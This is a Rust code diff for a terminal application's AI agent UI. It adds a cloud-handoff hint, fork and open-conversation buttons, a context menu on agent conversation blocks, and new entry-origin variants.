/// Arguments for agent message producers.
|
||||
#[derive(Copy, Clone)]
|
||||
pub struct AgentMessageArgs<'a> {
|
||||
@@ -406,6 +450,7 @@ pub struct AgentMessageArgs<'a> {
|
||||
pub input_model: &'a BlocklistAIInputModel,
|
||||
pub slash_command_model: &'a SlashCommandModel,
|
||||
pub context_model: &'a BlocklistAIContextModel,
|
||||
pub handoff_compose_state: &'a HandoffComposeState,
|
||||
pub terminal_model: &'a TerminalModel,
|
||||
pub appearance: &'a Appearance,
|
||||
pub app: &'a AppContext,
|
||||
@@ -565,10 +610,36 @@ impl MessageProvider<AgentMessageArgs<'_>> for ZeroStateMessageProducer {
|
||||
.with_is_disabled(!is_buffer_empty),
|
||||
);
|
||||
|
||||
let is_cloud_agent = matches!(
|
||||
agent_view_controller.agent_view_state(),
|
||||
AgentViewState::Active { origin, .. } if origin.is_cloud_agent()
|
||||
);
|
||||
let is_cloud_agent =
|
||||
is_in_cloud_context(agent_view_controller.agent_view_state(), terminal_model);
|
||||
let ai_settings = AISettings::as_ref(app);
|
||||
|
||||
// Handoff to cloud only available for local agents.
|
||||
if !is_cloud_agent && ai_settings.is_ampersand_handoff_enabled(app) {
|
||||
items.push(
|
||||
MessageItem::clickable(
|
||||
vec![
|
||||
MessageItem::Keystroke {
|
||||
keystroke: Keystroke {
|
||||
key: "&".to_owned(),
|
||||
..Default::default()
|
||||
},
|
||||
color: color_override_for_shortcuts_and_commands,
|
||||
background_color: bg_color_override_for_shortcuts_and_commands,
|
||||
},
|
||||
MessageItem::Text {
|
||||
content: "send task to the cloud".into(),
|
||||
color: color_override_for_shortcuts_and_commands,
|
||||
},
|
||||
],
|
||||
|ctx| {
|
||||
ctx.dispatch_typed_action(InputAction::ActivateCloudHandoff);
|
||||
},
|
||||
mouse_states.handoff_to_cloud.clone(),
|
||||
)
|
||||
.with_is_disabled(!is_buffer_empty),
|
||||
);
|
||||
}
|
||||
|
||||
let plan_count = AIDocumentModel::as_ref(app)
|
||||
.get_all_documents_for_conversation(active_conversation.id())
|
||||
@@ -596,7 +667,10 @@ impl MessageProvider<AgentMessageArgs<'_>> for ZeroStateMessageProducer {
|
||||
|
||||
// Code review only works locally.
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
if !is_cloud_agent && *TabSettings::as_ref(app).show_code_review_button {
|
||||
if !is_cloud_agent
|
||||
&& !ai_settings.is_cloud_handoff_enabled(app)
|
||||
&& *TabSettings::as_ref(app).show_code_review_button
|
||||
{
|
||||
let code_review_keystroke = if OperatingSystem::get().is_mac() {
|
||||
Keystroke::parse("cmd-shift-+").expect("keystroke should parse")
|
||||
} else {
|
||||
@@ -711,15 +785,21 @@ fn should_fork_from_last_known_good_state(
|
||||
};
|
||||
|
||||
match error {
|
||||
RenderableAIError::QuotaLimit
|
||||
RenderableAIError::QuotaLimit { .. }
|
||||
| RenderableAIError::ServerOverloaded
|
||||
| RenderableAIError::ContextWindowExceeded(_)
|
||||
| RenderableAIError::InvalidApiKey { .. }
|
||||
| RenderableAIError::AwsBedrockCredentialsExpiredOrInvalid { .. } => false,
|
||||
RenderableAIError::InternalWarpError => true,
|
||||
// A shell-exit failure can't resume in this (now-dead) pane, but the user
|
||||
// can fork from the last known good state to continue in a fresh one.
|
||||
RenderableAIError::InternalWarpError | RenderableAIError::AgentExitedShell => true,
|
||||
RenderableAIError::Other {
|
||||
will_attempt_resume,
|
||||
..
|
||||
}
|
||||
| RenderableAIError::TransientNetworkError {
|
||||
will_attempt_resume,
|
||||
..
|
||||
} => !will_attempt_resume,
|
||||
}
|
||||
}
|
||||
@@ -734,10 +814,14 @@ impl MessageProvider<AgentMessageArgs<'_>> for ForkSlashCommandMessageProducer {
|
||||
return None;
|
||||
};
|
||||
let command_name = detected_command.command.name;
|
||||
if command_name != commands::FORK.name
|
||||
&& command_name != commands::FORK_FROM.name
|
||||
&& command_name != commands::FORK_AND_COMPACT.name
|
||||
{
|
||||
let is_fork_family = command_name == commands::FORK.name
|
||||
|| command_name == commands::FORK_FROM.name
|
||||
|| command_name == commands::FORK_AND_COMPACT.name;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
let is_continue_locally = command_name == commands::CONTINUE_LOCALLY.name;
|
||||
#[cfg(target_family = "wasm")]
|
||||
let is_continue_locally = false;
|
||||
if !is_fork_family && !is_continue_locally {
|
||||
return None;
|
||||
}
|
||||
let modifier_keystroke = if cfg!(target_os = "macos") {
|
||||
@@ -755,23 +839,15 @@ impl MessageProvider<AgentMessageArgs<'_>> for ForkSlashCommandMessageProducer {
|
||||
}
|
||||
};
|
||||
|
||||
// `/fork` opens in a new pane with Enter and a new tab with Cmd/Ctrl+Enter.
|
||||
// Other fork-like commands open in the current pane with Enter and a new pane
|
||||
// with Cmd/Ctrl+Enter.
|
||||
let (primary_label, secondary_label) = if command_name == commands::FORK.name {
|
||||
(" new pane", " new tab")
|
||||
} else {
|
||||
(" current pane", " new pane")
|
||||
};
|
||||
|
||||
// All fork-style commands open a new pane on Enter and a new tab on Cmd/Ctrl+Enter.
|
||||
Some(Message::new(vec![
|
||||
MessageItem::keystroke(Keystroke {
|
||||
key: "enter".to_owned(),
|
||||
..Default::default()
|
||||
}),
|
||||
MessageItem::text(primary_label),
|
||||
MessageItem::text(" new pane"),
|
||||
MessageItem::keystroke(modifier_keystroke),
|
||||
MessageItem::text(secondary_label),
|
||||
MessageItem::text(" new tab"),
|
||||
]))
|
||||
}
|
||||
}
|
||||
@@ -808,8 +884,8 @@ impl MessageProvider<AgentMessageArgs<'_>> for AutodetectedBashModeMessageProduc
|
||||
input_buffer_model,
|
||||
input_model,
|
||||
appearance,
|
||||
slash_command_model,
|
||||
app,
|
||||
slash_command_model,
|
||||
..
|
||||
} = args;
|
||||
if input_model.is_ai_input_enabled()
|
||||
@@ -834,47 +910,90 @@ impl MessageProvider<AgentMessageArgs<'_>> for AutodetectedBashModeMessageProduc
|
||||
}
|
||||
}
|
||||
|
||||
struct ExitCloudHandoffModeMessageProducer;
|
||||
|
||||
impl MessageProvider<AgentMessageArgs<'_>> for ExitCloudHandoffModeMessageProducer {
|
||||
fn produce_message(&self, args: AgentMessageArgs<'_>) -> Option<Message> {
|
||||
let AgentMessageArgs {
|
||||
input_buffer_model,
|
||||
handoff_compose_state,
|
||||
appearance,
|
||||
..
|
||||
} = args;
|
||||
if !handoff_compose_state.is_active() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let active_color = ai_brand_color(appearance.theme());
|
||||
let is_buffer_empty = input_buffer_model.current_value().is_empty();
|
||||
let (dismiss_text_color, dismiss_key_color, dismiss_key_bg) = if is_buffer_empty {
|
||||
(active_color, None, None)
|
||||
} else {
|
||||
(
|
||||
Fill::from(active_color).with_opacity(60).into_solid(),
|
||||
Some(
|
||||
appearance
|
||||
.theme()
|
||||
.sub_text_color(appearance.theme().background())
|
||||
.into_solid(),
|
||||
),
|
||||
Some(blended_colors::neutral_1(appearance.theme())),
|
||||
)
|
||||
};
|
||||
|
||||
Some(Message::new(vec![
|
||||
MessageItem::Keystroke {
|
||||
keystroke: Keystroke {
|
||||
key: "enter".to_owned(),
|
||||
..Default::default()
|
||||
},
|
||||
color: None,
|
||||
background_color: None,
|
||||
},
|
||||
MessageItem::Text {
|
||||
content: "to hand off to cloud".into(),
|
||||
color: Some(active_color),
|
||||
},
|
||||
MessageItem::Keystroke {
|
||||
keystroke: Keystroke {
|
||||
key: "backspace".to_owned(),
|
||||
..Default::default()
|
||||
},
|
||||
color: dismiss_key_color,
|
||||
background_color: dismiss_key_bg,
|
||||
},
|
||||
MessageItem::Text {
|
||||
content: "to dismiss".into(),
|
||||
color: Some(dismiss_text_color),
|
||||
},
|
||||
]))
|
||||
}
|
||||
}
|
||||
|
||||
struct ExitBashModeMessageProducer;
|
||||
|
||||
impl MessageProvider<AgentMessageArgs<'_>> for ExitBashModeMessageProducer {
|
||||
fn produce_message(&self, args: AgentMessageArgs<'_>) -> Option<Message> {
|
||||
let AgentMessageArgs {
|
||||
input_buffer_model,
|
||||
input_model,
|
||||
appearance,
|
||||
app,
|
||||
..
|
||||
} = args;
|
||||
if input_model.is_ai_input_enabled() || !input_model.is_input_type_locked() {
|
||||
return None;
|
||||
}
|
||||
let set_input_mode_agent_keystroke =
|
||||
keybinding_name_to_keystroke(SET_INPUT_MODE_AGENT_ACTION_NAME, app)?;
|
||||
|
||||
let (text_color, keystroke_color_override, keystroke_bg_color_override) =
|
||||
if input_buffer_model.current_value().is_empty() {
|
||||
(appearance.theme().ansi_fg_blue(), None, None)
|
||||
} else {
|
||||
(
|
||||
Fill::from(appearance.theme().ansi_fg_blue())
|
||||
.with_opacity(60)
|
||||
.into_solid(),
|
||||
Some(
|
||||
appearance
|
||||
.theme()
|
||||
.sub_text_color(appearance.theme().background())
|
||||
.into_solid(),
|
||||
),
|
||||
Some(blended_colors::neutral_1(appearance.theme())),
|
||||
)
|
||||
};
|
||||
let text_color = appearance.theme().ansi_fg_blue();
|
||||
|
||||
Some(
|
||||
Message::new(vec![
|
||||
MessageItem::Keystroke {
|
||||
keystroke: Keystroke {
|
||||
key: "backspace".to_owned(),
|
||||
..Default::default()
|
||||
},
|
||||
color: keystroke_color_override,
|
||||
background_color: keystroke_bg_color_override,
|
||||
keystroke: set_input_mode_agent_keystroke,
|
||||
color: None,
|
||||
background_color: None,
|
||||
},
|
||||
MessageItem::text("to exit shell mode"),
|
||||
])
|
||||
|
||||
@@ -1,36 +1,38 @@
|
||||
use galaxy_core::ui::{appearance::Appearance, Icon};
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
ConstrainedBox, Container, CrossAxisAlignment, Empty, Flex, Hoverable, MainAxisSize,
|
||||
MouseStateHandle, ParentElement, Shrinkable, Text,
|
||||
},
|
||||
fonts::{Properties, Style, Weight::Bold},
|
||||
platform::Cursor,
|
||||
prelude::{Border, CornerRadius, Radius},
|
||||
text_layout::ClipConfig,
|
||||
Element, Entity, ModelHandle, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
};
|
||||
use pathfinder_color::ColorU;
|
||||
use pathfinder_geometry::vector::Vector2F;
|
||||
use settings::Setting;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
active_agent_views_model::ActiveAgentViewsModel,
|
||||
agent::conversation::{AIConversationId, ConversationStatus},
|
||||
blocklist::BlocklistAIHistoryEvent,
|
||||
},
|
||||
terminal::BlockListSettings,
|
||||
ui_components::blended_colors,
|
||||
view_components::DismissibleToast,
|
||||
workspace::{ToastStack, WorkspaceAction},
|
||||
BlocklistAIHistoryModel,
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::Icon;
|
||||
use galaxyui::elements::{
|
||||
ConstrainedBox, Container, CrossAxisAlignment, Empty, Expanded, Flex, Hoverable, MainAxisSize,
|
||||
MouseStateHandle, ParentElement, SavePosition, Shrinkable, Text,
|
||||
};
|
||||
use galaxyui::fonts::Weight::Bold;
|
||||
use galaxyui::fonts::{Properties, Style};
|
||||
use galaxyui::platform::Cursor;
|
||||
use galaxyui::prelude::{Border, CornerRadius, Radius};
|
||||
use galaxyui::text_layout::ClipConfig;
|
||||
use galaxyui::{
|
||||
AppContext, Element, Entity, EntityId, EventContext, ModelHandle, SingletonEntity,
|
||||
TypedActionView, View, ViewContext,
|
||||
};
|
||||
|
||||
use super::{AgentViewController, AgentViewEntryOrigin};
|
||||
use crate::ai::active_agent_views_model::ActiveAgentViewsModel;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryEvent;
|
||||
use crate::terminal::BlockListSettings;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icon_with_status::{render_icon_with_status, IconWithStatusVariant};
|
||||
use crate::view_components::DismissibleToast;
|
||||
use crate::workspace::{ToastStack, WorkspaceAction};
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
#[derive(Default)]
|
||||
struct StateHandles {
|
||||
block: MouseStateHandle,
|
||||
fork_button: MouseStateHandle,
|
||||
open_conversation_button: MouseStateHandle,
|
||||
}
|
||||
|
||||
pub struct AgentViewEntryBlockParams {
|
||||
@@ -52,6 +54,8 @@ pub struct AgentViewEntryBlock {
|
||||
/// Cached title for rendering when conversation no longer exists (i.e. after deletion).
|
||||
cached_title: Option<String>,
|
||||
state_handles: StateHandles,
|
||||
/// UI instance anchor for positioning the entry context menu.
|
||||
view_id: EntityId,
|
||||
}
|
||||
|
||||
impl AgentViewEntryBlock {
|
||||
@@ -84,7 +88,6 @@ impl AgentViewEntryBlock {
|
||||
_ => (),
|
||||
});
|
||||
ctx.subscribe_to_model(&agent_view_controller, |_, _, _, ctx| ctx.notify());
|
||||
|
||||
let active_agent_views_model = ActiveAgentViewsModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&active_agent_views_model, |_, _, _, ctx| ctx.notify());
|
||||
|
||||
@@ -96,10 +99,15 @@ impl AgentViewEntryBlock {
|
||||
origin,
|
||||
cached_title: Default::default(),
|
||||
state_handles: Default::default(),
|
||||
view_id: ctx.view_id(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_agent_view_entry_block_position_id(view_id: EntityId) -> String {
|
||||
format!("agent_view_entry_block_{view_id}")
|
||||
}
|
||||
|
||||
pub fn render_block_container(
|
||||
origin: AgentViewEntryOrigin,
|
||||
content: Box<dyn Element>,
|
||||
@@ -155,6 +163,45 @@ fn render_subtext(text: String, appearance: &Appearance) -> Box<dyn Element> {
|
||||
.finish()
|
||||
}
|
||||
|
||||
/// Renders a custom button with icon and hover/click states for the Agent View Block.
|
||||
///
|
||||
/// This button component is currently used for the "fork" and "open agent conversation" actions
|
||||
/// within the Agent View. Future actions re-using this pattern should use this component for
|
||||
/// visually consistent icon-based interaction.
|
||||
fn render_agent_view_block_button<F>(
|
||||
icon: Icon,
|
||||
icon_color: ColorU,
|
||||
mouse_state: MouseStateHandle,
|
||||
appearance: &Appearance,
|
||||
on_click: F,
|
||||
) -> Box<dyn Element>
|
||||
where
|
||||
F: 'static + FnMut(&mut EventContext, &AppContext, Vector2F),
|
||||
{
|
||||
Hoverable::new(mouse_state, move |state| {
|
||||
let container = Container::new(
|
||||
ConstrainedBox::new(icon.to_warpui_icon(icon_color.into()).finish())
|
||||
.with_height(20.)
|
||||
.with_width(20.)
|
||||
.finish(),
|
||||
)
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Pixels(5.)));
|
||||
|
||||
let container = if state.is_clicked() {
|
||||
container.with_background(blended_colors::fg_overlay_4(appearance.theme()))
|
||||
} else if state.is_hovered() {
|
||||
container.with_background(blended_colors::fg_overlay_3(appearance.theme()))
|
||||
} else {
|
||||
container
|
||||
};
|
||||
|
||||
container.finish()
|
||||
})
|
||||
.with_cursor(Cursor::PointingHand)
|
||||
.on_click(on_click)
|
||||
.finish()
|
||||
}
|
||||
|
||||
fn render_deleted_state(
|
||||
origin: AgentViewEntryOrigin,
|
||||
cached_title: Option<String>,
|
||||
@@ -203,6 +250,7 @@ impl View for AgentViewEntryBlock {
|
||||
}
|
||||
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let are_block_dividers_enabled =
|
||||
*BlockListSettings::as_ref(app).show_block_dividers.value();
|
||||
|
||||
@@ -211,7 +259,7 @@ impl View for AgentViewEntryBlock {
|
||||
// If the agent_view_block's conversation no longer exists,
|
||||
// we assume that it has been deleted.
|
||||
return render_deleted_state(
|
||||
self.origin,
|
||||
self.origin.clone(),
|
||||
self.cached_title.clone(),
|
||||
appearance,
|
||||
are_block_dividers_enabled,
|
||||
@@ -222,42 +270,46 @@ impl View for AgentViewEntryBlock {
|
||||
return Empty::new().finish();
|
||||
}
|
||||
|
||||
fn with_opacity(mut color: ColorU, opacity: u8) -> ColorU {
|
||||
color.a = opacity;
|
||||
color
|
||||
}
|
||||
let agent_icon = render_icon_with_status(
|
||||
IconWithStatusVariant::OzAgent {
|
||||
status: Some(conversation.status().clone()),
|
||||
is_ambient: false,
|
||||
},
|
||||
24.,
|
||||
0.,
|
||||
theme,
|
||||
theme.background(),
|
||||
);
|
||||
|
||||
let status_icon = conversation.status().render_icon(appearance);
|
||||
let status_icon_bg = match conversation.status() {
|
||||
ConversationStatus::InProgress => {
|
||||
with_opacity(appearance.theme().ansi_fg_magenta(), 25)
|
||||
}
|
||||
ConversationStatus::Success => with_opacity(appearance.theme().ansi_fg_green(), 25),
|
||||
ConversationStatus::Error => with_opacity(appearance.theme().ansi_fg_red(), 25),
|
||||
ConversationStatus::Cancelled => {
|
||||
with_opacity(blended_colors::neutral_5(appearance.theme()), 25)
|
||||
}
|
||||
ConversationStatus::Blocked { .. } => {
|
||||
with_opacity(appearance.theme().ansi_fg_yellow(), 25)
|
||||
}
|
||||
let is_active =
|
||||
ActiveAgentViewsModel::as_ref(app).is_conversation_open(self.conversation_id, app);
|
||||
let is_active_in_this_pane = self
|
||||
.agent_view_controller
|
||||
.as_ref(app)
|
||||
.agent_view_state()
|
||||
.active_conversation_id()
|
||||
== Some(self.conversation_id);
|
||||
let is_open_elsewhere = is_active && !is_active_in_this_pane;
|
||||
|
||||
let subtext = if is_open_elsewhere {
|
||||
Some("Open in different pane")
|
||||
} else if self.is_restored {
|
||||
Some("Restored")
|
||||
} else if !self.is_new
|
||||
&& !matches!(
|
||||
&self.origin,
|
||||
AgentViewEntryOrigin::LongRunningCommand
|
||||
| AgentViewEntryOrigin::AgentRequestedNewConversation
|
||||
)
|
||||
{
|
||||
Some("Continued")
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let mut row = Flex::row()
|
||||
// Build the title+subtext section.
|
||||
let mut title_section = Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_main_axis_size(MainAxisSize::Max)
|
||||
.with_child(
|
||||
Container::new(
|
||||
ConstrainedBox::new(status_icon.finish())
|
||||
.with_height(16.)
|
||||
.with_width(16.)
|
||||
.finish(),
|
||||
)
|
||||
.with_uniform_padding(2.)
|
||||
.with_background_color(status_icon_bg)
|
||||
.with_corner_radius(CornerRadius::with_all(Radius::Pixels(4.)))
|
||||
.with_margin_right(8.)
|
||||
.finish(),
|
||||
)
|
||||
.with_child(
|
||||
Shrinkable::new(
|
||||
1.,
|
||||
@@ -282,86 +334,114 @@ impl View for AgentViewEntryBlock {
|
||||
)
|
||||
.finish(),
|
||||
);
|
||||
|
||||
let is_active =
|
||||
ActiveAgentViewsModel::as_ref(app).is_conversation_open(self.conversation_id, app);
|
||||
let is_active_in_this_pane = self
|
||||
.agent_view_controller
|
||||
.as_ref(app)
|
||||
.agent_view_state()
|
||||
.active_conversation_id()
|
||||
== Some(self.conversation_id);
|
||||
let is_open_elsewhere = is_active && !is_active_in_this_pane;
|
||||
|
||||
let subtext = if is_open_elsewhere {
|
||||
Some("Open in different pane")
|
||||
} else if self.is_restored {
|
||||
Some("Restored")
|
||||
} else if !self.is_new
|
||||
&& !matches!(
|
||||
self.origin,
|
||||
AgentViewEntryOrigin::LongRunningCommand
|
||||
| AgentViewEntryOrigin::AgentRequestedNewConversation
|
||||
)
|
||||
{
|
||||
Some("Continued")
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if let Some(subtext) = subtext {
|
||||
row.add_child(render_subtext(subtext.to_string(), appearance));
|
||||
title_section.add_child(render_subtext(subtext.to_string(), appearance));
|
||||
}
|
||||
|
||||
row.add_child(
|
||||
Container::new(Empty::new().finish())
|
||||
.with_margin_right(8.)
|
||||
.finish(),
|
||||
);
|
||||
row.add_child(
|
||||
ConstrainedBox::new(
|
||||
Icon::ChevronRight
|
||||
.to_galaxyui_icon(
|
||||
blended_colors::text_sub(
|
||||
appearance.theme(),
|
||||
appearance.theme().background(),
|
||||
)
|
||||
.into(),
|
||||
)
|
||||
.finish(),
|
||||
)
|
||||
.with_height(20.)
|
||||
.with_width(20.)
|
||||
.finish(),
|
||||
);
|
||||
|
||||
let conversation_id = self.conversation_id;
|
||||
let origin = self.origin;
|
||||
Hoverable::new(self.state_handles.block.clone(), move |hoverable_state| {
|
||||
let background = if hoverable_state.is_hovered() {
|
||||
blended_colors::fg_overlay_2(appearance.theme())
|
||||
} else {
|
||||
blended_colors::fg_overlay_1(appearance.theme())
|
||||
};
|
||||
render_block_container(
|
||||
origin,
|
||||
row.finish(),
|
||||
background.into(),
|
||||
appearance,
|
||||
are_block_dividers_enabled,
|
||||
)
|
||||
})
|
||||
.with_cursor(Cursor::PointingHand)
|
||||
.on_click(move |ctx, _, _| {
|
||||
ctx.dispatch_typed_action(EnterAgentBlockAction::EnterAgentMode { conversation_id });
|
||||
})
|
||||
let icon_color = blended_colors::text_sub(theme, theme.background());
|
||||
let fork_button = ConstrainedBox::new(render_agent_view_block_button(
|
||||
Icon::ArrowSplit,
|
||||
icon_color,
|
||||
self.state_handles.fork_button.clone(),
|
||||
appearance,
|
||||
move |ctx, _, _| {
|
||||
ctx.dispatch_typed_action(EnterAgentBlockAction::ForkConversation {
|
||||
conversation_id,
|
||||
});
|
||||
},
|
||||
))
|
||||
.with_height(20.)
|
||||
.with_width(20.)
|
||||
.finish();
|
||||
|
||||
let open_conversation_button = ConstrainedBox::new(render_agent_view_block_button(
|
||||
Icon::ChevronRight,
|
||||
icon_color,
|
||||
self.state_handles.open_conversation_button.clone(),
|
||||
appearance,
|
||||
move |ctx, _, _| {
|
||||
ctx.dispatch_typed_action(EnterAgentBlockAction::EnterAgentMode {
|
||||
conversation_id,
|
||||
});
|
||||
},
|
||||
))
|
||||
.with_height(20.)
|
||||
.with_width(20.)
|
||||
.finish();
|
||||
|
||||
let row = Flex::row()
|
||||
.with_cross_axis_alignment(CrossAxisAlignment::Center)
|
||||
.with_main_axis_size(MainAxisSize::Max)
|
||||
.with_child(Container::new(agent_icon).with_margin_right(8.).finish())
|
||||
// Expanded fills all remaining space, pushing buttons to the right.
|
||||
.with_child(Expanded::new(1., title_section.finish()).finish())
|
||||
.with_child(Container::new(fork_button).with_margin_left(8.).finish())
|
||||
.with_child(open_conversation_button);
|
||||
|
||||
let origin = self.origin.clone();
|
||||
let entry_block_id = self.view_id;
|
||||
let entry_block_position_id = get_agent_view_entry_block_position_id(entry_block_id);
|
||||
SavePosition::new(
|
||||
Hoverable::new(self.state_handles.block.clone(), move |hoverable_state| {
|
||||
let background = if hoverable_state.is_hovered() {
|
||||
blended_colors::fg_overlay_2(appearance.theme())
|
||||
} else {
|
||||
blended_colors::fg_overlay_1(appearance.theme())
|
||||
};
|
||||
render_block_container(
|
||||
origin.clone(),
|
||||
row.finish(),
|
||||
background.into(),
|
||||
appearance,
|
||||
are_block_dividers_enabled,
|
||||
)
|
||||
})
|
||||
.with_cursor(Cursor::PointingHand)
|
||||
.on_click(move |ctx, _, _| {
|
||||
ctx.dispatch_typed_action(EnterAgentBlockAction::EnterAgentMode {
|
||||
conversation_id,
|
||||
});
|
||||
})
|
||||
.on_right_click(move |ctx, _, position| {
|
||||
let Some(entry_bounds) = ctx.element_position_by_id(&entry_block_position_id)
|
||||
else {
|
||||
log::warn!(
|
||||
"Could not retrieve the position of the agent view entry block for context menu display."
|
||||
);
|
||||
return;
|
||||
};
|
||||
// Subtract the block's origin so the position is expressed relative
|
||||
// to the block element. OffsetPositioning::offset_from_save_position_element
|
||||
// then offsets the menu from the saved block position, placing it at
|
||||
// the exact mouse cursor location.
|
||||
ctx.dispatch_typed_action(EnterAgentBlockAction::OpenConversationContextMenu {
|
||||
conversation_id,
|
||||
agent_view_entry_block_id: entry_block_id,
|
||||
position: position - entry_bounds.origin(),
|
||||
});
|
||||
})
|
||||
.with_defer_events_to_children()
|
||||
.finish(),
|
||||
&get_agent_view_entry_block_position_id(entry_block_id),
|
||||
)
|
||||
.finish()
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum AgentViewEntryBlockEvent {
|
||||
EnterAgentView { conversation_id: AIConversationId },
|
||||
EnterAgentView {
|
||||
conversation_id: AIConversationId,
|
||||
},
|
||||
OpenConversationContextMenu {
|
||||
conversation_id: AIConversationId,
|
||||
agent_view_entry_block_id: EntityId,
|
||||
position: Vector2F,
|
||||
},
|
||||
ForkConversation {
|
||||
conversation_id: AIConversationId,
|
||||
},
|
||||
}
|
||||
|
||||
impl Entity for AgentViewEntryBlock {
|
||||
@@ -370,7 +450,17 @@ impl Entity for AgentViewEntryBlock {
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum EnterAgentBlockAction {
|
||||
EnterAgentMode { conversation_id: AIConversationId },
|
||||
EnterAgentMode {
|
||||
conversation_id: AIConversationId,
|
||||
},
|
||||
OpenConversationContextMenu {
|
||||
conversation_id: AIConversationId,
|
||||
agent_view_entry_block_id: EntityId,
|
||||
position: Vector2F,
|
||||
},
|
||||
ForkConversation {
|
||||
conversation_id: AIConversationId,
|
||||
},
|
||||
}
|
||||
|
||||
impl TypedActionView for AgentViewEntryBlock {
|
||||
@@ -416,6 +506,22 @@ impl TypedActionView for AgentViewEntryBlock {
|
||||
});
|
||||
}
|
||||
}
|
||||
EnterAgentBlockAction::OpenConversationContextMenu {
|
||||
conversation_id,
|
||||
agent_view_entry_block_id,
|
||||
position,
|
||||
} => {
|
||||
ctx.emit(AgentViewEntryBlockEvent::OpenConversationContextMenu {
|
||||
conversation_id: *conversation_id,
|
||||
agent_view_entry_block_id: *agent_view_entry_block_id,
|
||||
position: *position,
|
||||
});
|
||||
}
|
||||
EnterAgentBlockAction::ForkConversation { conversation_id } => {
|
||||
ctx.emit(AgentViewEntryBlockEvent::ForkConversation {
|
||||
conversation_id: *conversation_id,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,25 +1,23 @@
|
||||
use std::{sync::Arc, time::Duration};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use instant::Instant;
|
||||
|
||||
use parking_lot::FairMutex;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxyui::keymap::Keystroke;
|
||||
use galaxyui::AppContext;
|
||||
use galaxyui::{
|
||||
r#async::SpawnedFutureHandle, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity,
|
||||
};
|
||||
use parking_lot::FairMutex;
|
||||
|
||||
use crate::terminal::input::message_bar::{Message, MessageItem};
|
||||
use crate::terminal::input::slash_commands::SlashCommandTrigger;
|
||||
use crate::util::bindings::keybinding_name_to_keystroke;
|
||||
use crate::{
|
||||
ai::agent::conversation::AIConversationId,
|
||||
terminal::{view::ambient_agent::AmbientAgentViewModel, TerminalModel},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
use galaxyui::r#async::SpawnedFutureHandle;
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::{DismissalStrategy, EphemeralMessage, EphemeralMessageModel};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::blocklist::orchestration_topology::{
|
||||
adjacent_orchestration_child_conversation_id, OrchestrationNavigationDirection,
|
||||
};
|
||||
use crate::terminal::input::message_bar::{Message, MessageItem};
|
||||
use crate::terminal::input::slash_commands::SlashCommandTrigger;
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::util::bindings::keybinding_name_to_keystroke;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
/// Error returned when entering the agent view fails.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, thiserror::Error)]
|
||||
@@ -100,7 +98,7 @@ impl PendingConfirmation {
|
||||
///
|
||||
/// Depending on the entrypoint, an `AgentView` block representing the entry may be inserted into
|
||||
/// the terminal blocklist.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum AgentViewEntryOrigin {
|
||||
/// Entered agent view from user input (e.g. /agent or cmd-enter keypress).
|
||||
Input {
|
||||
@@ -138,6 +136,8 @@ pub enum AgentViewEntryOrigin {
|
||||
ThirdPartyCloudAgent,
|
||||
/// Entered agent view via the CLI (e.g. `warp agent run`).
|
||||
Cli,
|
||||
/// Entered agent view via the headless TUI frontend.
|
||||
Tui,
|
||||
/// Entered agent view by adding an image (drag-and-drop or paste).
|
||||
ImageAdded,
|
||||
/// Entered agent view by executing a slash command that requires agent mode.
|
||||
@@ -146,8 +146,8 @@ pub enum AgentViewEntryOrigin {
|
||||
},
|
||||
SlashInit,
|
||||
CreateEnvironment,
|
||||
/// Entered agent view by executing a slash command that requires agent mode.
|
||||
Keybinding,
|
||||
/// Entered agent view from the new-conversation keybinding.
|
||||
Keybinding(Keystroke),
|
||||
/// Entered agent view by attaching context from the code review panel.
|
||||
CodeReviewContext,
|
||||
/// Entered agent view from codex integration modal.
|
||||
@@ -169,6 +169,11 @@ pub enum AgentViewEntryOrigin {
|
||||
/// Entered agent view because a parent agent started this child agent via StartAgent.
|
||||
ChildAgent,
|
||||
|
||||
/// Entered agent view by clicking a pill / breadcrumb in the orchestration
|
||||
/// pill bar (or breadcrumb row) to navigate the current pane to a sibling
|
||||
/// or parent conversation in the same orchestration tree.
|
||||
OrchestrationPillBar,
|
||||
|
||||
/// Entered agent view after opening project from OS directory picker.
|
||||
ProjectEntry,
|
||||
|
||||
@@ -178,6 +183,10 @@ pub enum AgentViewEntryOrigin {
|
||||
/// Entered agent view by clearing the buffer (Cmd+K) while already in agent view.
|
||||
ClearBuffer,
|
||||
|
||||
/// Entered agent view via the "Jump to Latest Agent Message" command, which
|
||||
/// returns to the most recent conversation from the terminal.
|
||||
JumpToLatestAgentMessage,
|
||||
|
||||
